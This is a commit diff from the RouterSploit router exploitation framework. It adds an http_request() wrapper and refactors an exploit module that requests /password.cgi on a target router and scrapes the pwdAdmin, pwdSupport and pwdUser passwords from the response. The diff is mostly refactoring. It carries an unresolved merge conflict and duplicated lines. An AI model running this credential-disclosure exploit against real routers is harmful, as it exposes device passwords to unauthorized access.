Commit 3dffcc49 by fwkz

Adding http_request() idea.

parent d4fb4d39
from routersploit.utils import ( from routersploit.utils import (
<<<<<<< d4fb4d39165c40b179c139a9d568e5ba87553cc8
print_error, print_status, print_success, print_error, print_status, print_success,
print_table, print_info, sanitize_url, print_table, print_info, sanitize_url,
LockedIterator, random_text, LockedIterator, random_text,
=======
print_error,
print_status,
print_success,
print_table,
print_info,
sanitize_url,
LockedIterator,
http_request,
>>>>>>> Adding http_request() idea.
) )
from routersploit import exploits from routersploit import exploits
......
import requests
import re import re
from routersploit import ( from routersploit import (
...@@ -8,6 +7,7 @@ from routersploit import ( ...@@ -8,6 +7,7 @@ from routersploit import (
print_error, print_error,
print_success, print_success,
print_table, print_table,
http_request,
) )
...@@ -40,12 +40,8 @@ class Exploit(exploits.Exploit): ...@@ -40,12 +40,8 @@ class Exploit(exploits.Exploit):
print_status("Requesting for {}".format(url)) print_status("Requesting for {}".format(url))
try: try:
response = requests.get(url).text response = http_request(method="GET", url=url).text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): except AttributeError:
print_error("Invalid URL format: {}".format(url))
return
except requests.exceptions.ConnectionError:
print_error("Connection error: {}".format(url))
return return
admin = re.findall("pwdAdmin = '(.+?)'", response) admin = re.findall("pwdAdmin = '(.+?)'", response)
...@@ -70,8 +66,8 @@ class Exploit(exploits.Exploit): ...@@ -70,8 +66,8 @@ class Exploit(exploits.Exploit):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
try: try:
response = requests.get(url).text response = http_request(method="GET", url=url).text
except: except AttributeError:
return None # could not be verified return None # could not be verified
if any(map(lambda x: x in response, ["pwdSupport", "pwdUser", "pwdAdmin"])): if any(map(lambda x: x in response, ["pwdSupport", "pwdUser", "pwdAdmin"])):
......
...@@ -5,6 +5,9 @@ import sys ...@@ -5,6 +5,9 @@ import sys
import random import random
import string import string
import requests
print_lock = threading.Lock() print_lock = threading.Lock()
colors = { colors = {
...@@ -195,12 +198,10 @@ def sanitize_url(address): ...@@ -195,12 +198,10 @@ def sanitize_url(address):
Converts address to valid HTTP url. Converts address to valid HTTP url.
""" """
if not address.startswith("http://") and not address.startswith("https://"): if address.startswith("http://") or address.startswith("https://"):
url = "http://" + address return address
else: else:
url = address return "http://{}".format(address)
return url
def pprint_dict_in_order(dictionary, order=None): def pprint_dict_in_order(dictionary, order=None):
...@@ -252,3 +253,19 @@ def random_text(length, alph=string.letters+string.digits): ...@@ -252,3 +253,19 @@ def random_text(length, alph=string.letters+string.digits):
Generates random text with specified length and alphabet. Generates random text with specified length and alphabet.
""" """
return ''.join(random.choice(alph) for _ in range(length)) return ''.join(random.choice(alph) for _ in range(length))
def http_request(method, url, **kwargs):
""" Wrapper for 'requests' silencing exceptions a little bit. """
try:
return getattr(requests, method.lower())(url, **kwargs)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: {}".format(url))
return
except requests.exceptions.ConnectionError:
print_error("Connection error: {}".format(url))
return
except requests.RequestException as error:
print_error(error)
return
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment